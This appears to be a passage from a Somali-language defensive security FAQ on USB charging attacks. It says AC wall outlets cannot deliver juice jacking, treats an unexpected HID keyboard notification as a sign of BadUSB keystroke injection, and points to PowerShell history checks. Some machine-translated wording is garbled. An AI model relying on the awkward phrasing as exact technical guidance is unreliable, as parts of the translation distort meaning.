Haa, boqolkiiba 100 badbaado leh. Halbeegga 110V/230V AC godka derbiga korantada (halka aad ku xirto Apple, Samsung, ama Anker lebenkaaga) kaliya waxa uu sido awood koronto oo hadda jirta oo aan lahayn xiriir xog eber ah oo awood u leh in lagula xiriiro kontaroolaha USB-ga ee taleefankaaga. Inta aad isticmaalayso leben adabtarada AC ee aad aaminsan tahay iyo fiilada USB ee aad aaminsan tahayGaroon diyaaradeed ama huteel AC ma samayn karto weerarrada Juice Jacking ama BadUSB.

Muxuu Windows-ku u soo booday "Dabbajinta qalab: Aaladda Keyboard-ka HID" markii aan ku xidhay USB flash drive ama dabaylaha vape/e-sigaarka?¶

Markaad aragto Daaqadaha oo soo bandhigaya akhrinta wargelinta rootiga "Dejinta qalab: Aaladda Kiiboodhka HID" marka aad ku xirto wax ah maaha kiiboodhka (sida flash-ka USB, fiilada dallaca, taageere miiska raqiis ah, sawir sawir dhijitaal ah, ama xajiyaha vape) waa #1 qoriga sigaarka ee aan la garan karin BadUSB/HID Weerar cirbadeynta furaha. Ma jiro fiilo sharci ah ama fiilo dallacaad ah oo waligeed u baahnayn inuu Windows ugu diiwaan galiyo kiiboodhka ahaan. Isla markiiba ka saar qalabka, ka saar Wi-Fi, oo socodsii PowerShell RunMRU iyo PSReadLine amarrada hantidhawrka ee Wajiga 2 si loo arko amarka kiiboodhka beenta ah lagu qoray.

Ilaha la hubiyay¶

• Xafiiska Baarista FederaalkaFBI) & Guddiga Isgaarsiinta Federaalka (FCC) (Mareykanka): Ogaysiisyada Adeegga Dadweynaha ee Khatarta Saldhigga Ku Dallacaadda USB-ga Dadweynaha ("Casiirka Jakaynta") iyo Qalabyada Xasaasiga ah.
• Hay'adda Nabad Sugidda Qaranka (NSA& Hay'adda Ammaanka Kaabayaasha InternetkaCISA) (Mareykanka): Dhaqdhaqaaqyada ugu Wanaagsan ee Mobile-ka: Si badbaado leh ula socda Taleefannada Gacanta, Laabtoobyada, iyo Qalabka USB.
• Jaamacadda Tignoolajiyada ee Graz (TU Graz Kooxda Cilmi-baarista InfoSec): ChoiceJacking: Waxyeeleynta Aaladaha Mobilka iyadoo loo marayo Chargers xaasidnimo ah iyadoo la sii marayo USB HID Injection (USENIX Security Symposium).
• Tusaha Amniga Platform Apple: * Qaabka xaddidan ee USB, Helitaanka Alaabta Marka la Xiro, iyo MacOS Apple Silicon USB/Thunderbolt Farsamada Oggolaanshaha Agabka*.
• USB Implementers Forum (USB-IF): * Xaqiijinta Nooca USB-C, Bixinta Korontada (USB PD), iyo Aaladaha Interface-ka Aadanaha (HID Fasalka 0x03) Tilmaamaha*.

Tilmaamaha la xidhiidha¶

• Wi-Fi-ga dadweynaha, meelaha xun ee mataanaha ah, iyo difaaca casiir-jabinta
• Afduubka kukiyada fadhiga, malware-ka been abuurka ah, iyo ka noqoshada calaamada
• Stalkerware, spyware, iyo keylogger ogaanshaha taleefannada
• Malware, ransomware, iyo caabuqa spyware
• QR code phishing (quishing) iyo xaasidnimo leexin
• Nambarada degdega ah wadan ahaan